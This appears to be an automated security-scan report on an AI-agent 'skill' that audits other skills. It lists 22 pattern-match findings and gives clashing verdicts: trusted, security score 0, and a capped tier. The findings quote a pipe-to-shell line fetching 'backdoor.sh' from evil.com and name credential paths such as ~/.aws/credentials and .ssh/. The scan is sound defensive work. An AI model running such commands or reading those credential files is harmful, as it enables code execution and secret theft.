Caveat verdict

zhongkui-skill

88
🟢 Trusted
No high-risk patterns surfaced by the deep scan — automated capability review, not behavioral proof.

Security audit skill that performs static analysis, behavioral emulation, and supply chain checks on other skills; pulling CVE patterns from NVD is expected behavior for a vulnerability scanner.

⚠ Flagged for review — coarse, uncorroborated signal, not a confirmed exploit. Review the config yourself before installing.

Automated static analysis — not a human review. Caveat flags capabilities, not confirmed intent, and can produce false positives. Disagree with this verdict? Use Dispute below.

0
security
100
transparency
90
maintenance

Findings (22)

Pattern match critical

Unicode homoglyph detected — uses lookalike characters to evade pattern matching

references/threat-intel-pipeline.md · prose

Pattern match high

Uses eval() — can execute arbitrary code

SKILL.md · prose · downgraded · eval(

Pattern match high

Accesses AWS credentials file

SKILL.md · prose · downgraded · ~/.aws/credentials

Pattern match high

Accesses sensitive system files

core/patterns.json · prose · downgraded · /etc/passwd

Pattern match high

Pipe to python — executes piped content as Python code

references/error-handling.md · prose · downgraded · | Python

Pattern match high

Pipe-to-shell pattern (curl | sh) — supply chain attack vector

references/risk-taxonomy.md · prose · downgraded · curl evil.com/backdoor.sh | bash

Pattern match high

Pipe to bash — executes piped content as shell commands

references/risk-taxonomy.md · prose · downgraded · | bash

Pattern match high

Writes to SKILL.md — self-modifying skill

references/risk-taxonomy.md · prose · downgraded · SKILL.md 或脚本中是否出现持久化路径关键词 + 写入/追加动词(`write`、`append`、`echo >

Pattern match medium

Uses exec() — may execute shell commands

SKILL.md · prose · downgraded · exec(

Pattern match medium

References sudo — requests elevated privileges

SKILL.md · prose · downgraded · sudo

Pattern match medium

Accesses cloud provider credentials

SKILL.md · prose · downgraded · ~/.aws

Pattern match medium

Accesses Kubernetes config (may contain cluster credentials)

SKILL.md · prose · downgraded · ~/.kube/config

Pattern match medium

References child_process — can spawn system processes

core/patterns.json · prose · downgraded · child_process

Pattern match medium

os.system/popen — direct OS command execution

references/capability-boundaries.md · prose · downgraded · os.system(

Pattern match medium

Python os.getenv — reads environment variable

references/fix-strategies.md · code · os.getenv(

Pattern match medium

Accesses shell history/config

references/fix-strategies.md · prose · downgraded · ~/.profile

Pattern match medium

subprocess execution — runs system commands from Python

references/risk-taxonomy.md · prose · downgraded · subprocess.run(

Pattern match medium

Accesses .ssh directory

references/risk-taxonomy.md · prose · downgraded · .ssh/

Pattern match low

References agent memory files

SKILL.md · prose · downgraded · MEMORY.md

Pattern match low

Python urllib.request — network access

core/intel/updater.py · prose · downgraded · urllib.request

Pattern match low

Changes file ownership

REFERENCE.md · prose · downgraded · chown

Pattern match low

Opens WebSocket connection

references/fix-strategies.md · prose · downgraded · WebSocket

Why the tier is capped

Execution sink present in raw bytes (Hard Floor: class A/D). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.

Permissions & capabilities

No declared permissions — minimal attack surface.

Is this flag fair?

Check another skill Browse the registry Auditing your own skills or configs? Use the API